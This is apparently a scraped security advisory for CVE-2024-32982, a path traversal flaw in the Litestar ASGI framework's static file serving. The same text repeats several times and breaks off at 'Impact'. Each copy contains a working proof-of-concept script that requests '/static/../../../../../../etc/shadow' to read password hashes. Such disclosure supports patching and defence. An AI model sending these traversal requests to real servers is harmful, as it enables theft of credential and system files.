CVE-2024-32982

Litestar and Starlite is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.8.3, 2.7.2, and 2.6.4, a Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of LiteStar. This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server. The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at litestar/static_files/base.py. This vulnerability is fixed in versions 2.8.3, 2.7.2, and 2.6.4.

Litestar and Starlite is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.8.3, 2.7.2, and 2.6.4, a Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of LiteStar. This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server. The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at litestar/static_files/base.py. This vulnerability is fixed in versions 2.8.3, 2.7.2, and 2.6.4.

Summary

Local File Inclusion via Path Traversal in LiteStar Static File Serving

A Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of LiteStar. This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server.

Details

The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at line 70 in litestar/static_files/base.py.

The function fails to properly validate the destination file path derived from user input, thereby permitting directory traversal. The critical code segment is as follows:

commonpath([str(directory), file_info["name"], joined_path])

Given the variables:

directory = PosixPath('/Users/brian/sandbox/test_vuln/static')
file_info["name"] = '/Users/brian/sandbox/test_vuln/static/../requirements.txt'
joined_path = PosixPath('/Users/brian/sandbox/test_vuln/static/../requirements.txt')

The function outputs '/Users/brian/sandbox/test_vuln/static', incorrectly assuming it is confined to the static directory. This incorrect validation facilitates directory traversal, exposing the system to potential unauthorized access and manipulation.

Proof of Concept (PoC)

To reproduce this vulnerability, follow these steps:

1. Set up the environment:

   • Install with pip the uvicorn and litestar packages.
   • Create a static folder in the root directory of your project and place any file (e.g., an image) in it for testing.
   • Ensure the static file serving is enabled, which is typically the default configuration.

2. Preparation of the testing environment:

   • If using Ubuntu or a similar system, you can use /etc/shadow which contains sensitive password information. If not, create a dummy sensitive file outside the static directory for testing.
   • Create a main.py file with the following content to configure and run the LiteStar server:

   from pathlib import Path
   from litestar import Litestar
   from litestar.static_files import create_static_files_router
   import uvicorn
   
   app = Litestar(
       route_handlers=[
           create_static_files_router(path="/static", directories=["static"]),
       ],
   )
   
   if __name__ == "__main__":
       uvicorn.run("main:app", host="0.0.0.0", port=8000)
   

   • Run this script with the command python3 main.py to start the server.

3. Exploit:

   • Prepare an exploit script named exploit.py with the following Python code to perform the HTTP request without client-side sanitization:

   import http.client
   
   def send_request(host, port, path):
       connection = http.client.HTTPConnection(host, port)
       connection.request("GET", path)
       response = connection.getresponse()
       print(f"Status: {response.status}")
       print(f"Headers: {response.getheaders()}")
       data = response.read()
       print(f"Body: {data.decode('utf-8')}")
       connection.close()
   
   send_request("localhost", 8000, "/static/../../../../../../etc/shadow")
   

   • Execute this script using python3 exploit.py. This script uses direct HTTP connections to bypass client-side path sanitization present in tools like curl or web browsers.

4. Observe:

   • The server should respond with the contents of the /etc/shadow file, thereby confirming the path traversal vulnerability.
   • The output will display the status, headers, and body of the response, which should contain the contents of the sensitive file.

Impact

This Local File Inclusion vulnerability critically affects all instances of…

Litestar and Starlite is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.8.3, 2.7.2, and 2.6.4, a Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of LiteStar. This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server. The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at litestar/static_files/base.py. This vulnerability is fixed in versions 2.8.3, 2.7.2, and 2.6.4.

Litestar and Starlite is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.8.3, 2.7.2, and 2.6.4, a Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of LiteStar. This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server. The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at litestar/static_files/base.py. This vulnerability is fixed in versions 2.8.3, 2.7.2, and 2.6.4.

Summary

Local File Inclusion via Path Traversal in LiteStar Static File Serving

A Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of LiteStar. This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server.

Details

The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at line 70 in litestar/static_files/base.py.

The function fails to properly validate the destination file path derived from user input, thereby permitting directory traversal. The critical code segment is as follows:

commonpath([str(directory), file_info["name"], joined_path])

Given the variables:

directory = PosixPath('/Users/brian/sandbox/test_vuln/static')
file_info["name"] = '/Users/brian/sandbox/test_vuln/static/../requirements.txt'
joined_path = PosixPath('/Users/brian/sandbox/test_vuln/static/../requirements.txt')

The function outputs '/Users/brian/sandbox/test_vuln/static', incorrectly assuming it is confined to the static directory. This incorrect validation facilitates directory traversal, exposing the system to potential unauthorized access and manipulation.

Proof of Concept (PoC)

To reproduce this vulnerability, follow these steps:

1. Set up the environment:

   • Install with pip the uvicorn and litestar packages.
   • Create a static folder in the root directory of your project and place any file (e.g., an image) in it for testing.
   • Ensure the static file serving is enabled, which is typically the default configuration.

2. Preparation of the testing environment:

   • If using Ubuntu or a similar system, you can use /etc/shadow which contains sensitive password information. If not, create a dummy sensitive file outside the static directory for testing.
   • Create a main.py file with the following content to configure and run the LiteStar server:

   from pathlib import Path
   from litestar import Litestar
   from litestar.static_files import create_static_files_router
   import uvicorn
   
   app = Litestar(
       route_handlers=[
           create_static_files_router(path="/static", directories=["static"]),
       ],
   )
   
   if __name__ == "__main__":
       uvicorn.run("main:app", host="0.0.0.0", port=8000)
   

   • Run this script with the command python3 main.py to start the server.

3. Exploit:

   • Prepare an exploit script named exploit.py with the following Python code to perform the HTTP request without client-side sanitization:

   import http.client
   
   def send_request(host, port, path):
       connection = http.client.HTTPConnection(host, port)
       connection.request("GET", path)
       response = connection.getresponse()
       print(f"Status: {response.status}")
       print(f"Headers: {response.getheaders()}")
       data = response.read()
       print(f"Body: {data.decode('utf-8')}")
       connection.close()
   
   send_request("localhost", 8000, "/static/../../../../../../etc/shadow")
   

   • Execute this script using python3 exploit.py. This script uses direct HTTP connections to bypass client-side path sanitization present in tools like curl or web browsers.

4. Observe:

   • The server should respond with the contents of the /etc/shadow file, thereby confirming the path traversal vulnerability.
   • The output will display the status, headers, and body of the response, which should contain the contents of the sensitive file.

Impact

This Local File Inclusion vulnerability critically affects all instances of…

Summary

Local File Inclusion via Path Traversal in LiteStar Static File Serving

A Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of LiteStar. This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server.

Details

The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at line 70 in litestar/static_files/base.py.

The function fails to properly validate the destination file path derived from user input, thereby permitting directory traversal. The critical code segment is as follows:

commonpath([str(directory), file_info["name"], joined_path])

Given the variables:

directory = PosixPath('/Users/brian/sandbox/test_vuln/static')
file_info["name"] = '/Users/brian/sandbox/test_vuln/static/../requirements.txt'
joined_path = PosixPath('/Users/brian/sandbox/test_vuln/static/../requirements.txt')

The function outputs '/Users/brian/sandbox/test_vuln/static', incorrectly assuming it is confined to the static directory. This incorrect validation facilitates directory traversal, exposing the system to potential unauthorized access and manipulation.

Proof of Concept (PoC)

To reproduce this vulnerability, follow these steps:

1. Set up the environment:

   • Install with pip the uvicorn and litestar packages.
   • Create a static folder in the root directory of your project and place any file (e.g., an image) in it for testing.
   • Ensure the static file serving is enabled, which is typically the default configuration.

2. Preparation of the testing environment:

   • If using Ubuntu or a similar system, you can use /etc/shadow which contains sensitive password information. If not, create a dummy sensitive file outside the static directory for testing.
   • Create a main.py file with the following content to configure and run the LiteStar server:

   from pathlib import Path
   from litestar import Litestar
   from litestar.static_files import create_static_files_router
   import uvicorn
   
   app = Litestar(
       route_handlers=[
           create_static_files_router(path="/static", directories=["static"]),
       ],
   )
   
   if __name__ == "__main__":
       uvicorn.run("main:app", host="0.0.0.0", port=8000)
   

   • Run this script with the command python3 main.py to start the server.

3. Exploit:

   • Prepare an exploit script named exploit.py with the following Python code to perform the HTTP request without client-side sanitization:

   import http.client
   
   def send_request(host, port, path):
       connection = http.client.HTTPConnection(host, port)
       connection.request("GET", path)
       response = connection.getresponse()
       print(f"Status: {response.status}")
       print(f"Headers: {response.getheaders()}")
       data = response.read()
       print(f"Body: {data.decode('utf-8')}")
       connection.close()
   
   send_request("localhost", 8000, "/static/../../../../../../etc/shadow")
   

   • Execute this script using python3 exploit.py. This script uses direct HTTP connections to bypass client-side path sanitization present in tools like curl or web browsers.

4. Observe:

   • The server should respond with the contents of the /etc/shadow file, thereby confirming the path traversal vulnerability.
   • The output will display the status, headers, and body of the response, which should contain the contents of the sensitive file.

Impact

This Local File Inclusion vulnerability critically affects all instances of…

Summary

Local File Inclusion via Path Traversal in LiteStar Static File Serving

A Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of LiteStar. This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server.

Details

The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at line 70 in litestar/static_files/base.py.

The function fails to properly validate the destination file path derived from user input, thereby permitting directory traversal. The critical code segment is as follows:

commonpath([str(directory), file_info["name"], joined_path])

Given the variables:

directory = PosixPath('/Users/brian/sandbox/test_vuln/static')
file_info["name"] = '/Users/brian/sandbox/test_vuln/static/../requirements.txt'
joined_path = PosixPath('/Users/brian/sandbox/test_vuln/static/../requirements.txt')

The function outputs '/Users/brian/sandbox/test_vuln/static', incorrectly assuming it is confined to the static directory. This incorrect validation facilitates directory traversal, exposing the system to potential unauthorized access and manipulation.

Proof of Concept (PoC)

To reproduce this vulnerability, follow these steps:

1. Set up the environment:

   • Install with pip the uvicorn and litestar packages.
   • Create a static folder in the root directory of your project and place any file (e.g., an image) in it for testing.
   • Ensure the static file serving is enabled, which is typically the default configuration.

2. Preparation of the testing environment:

   • If using Ubuntu or a similar system, you can use /etc/shadow which contains sensitive password information. If not, create a dummy sensitive file outside the static directory for testing.
   • Create a main.py file with the following content to configure and run the LiteStar server:

   from pathlib import Path
   from litestar import Litestar
   from litestar.static_files import create_static_files_router
   import uvicorn
   
   app = Litestar(
       route_handlers=[
           create_static_files_router(path="/static", directories=["static"]),
       ],
   )
   
   if __name__ == "__main__":
       uvicorn.run("main:app", host="0.0.0.0", port=8000)
   

   • Run this script with the command python3 main.py to start the server.

3. Exploit:

   • Prepare an exploit script named exploit.py with the following Python code to perform the HTTP request without client-side sanitization:

   import http.client
   
   def send_request(host, port, path):
       connection = http.client.HTTPConnection(host, port)
       connection.request("GET", path)
       response = connection.getresponse()
       print(f"Status: {response.status}")
       print(f"Headers: {response.getheaders()}")
       data = response.read()
       print(f"Body: {data.decode('utf-8')}")
       connection.close()
   
   send_request("localhost", 8000, "/static/../../../../../../etc/shadow")
   

   • Execute this script using python3 exploit.py. This script uses direct HTTP connections to bypass client-side path sanitization present in tools like curl or web browsers.

4. Observe:

   • The server should respond with the contents of the /etc/shadow file, thereby confirming the path traversal vulnerability.
   • The output will display the status, headers, and body of the response, which should contain the contents of the sensitive file.

Impact

This Local File Inclusion vulnerability critically affects all instances of…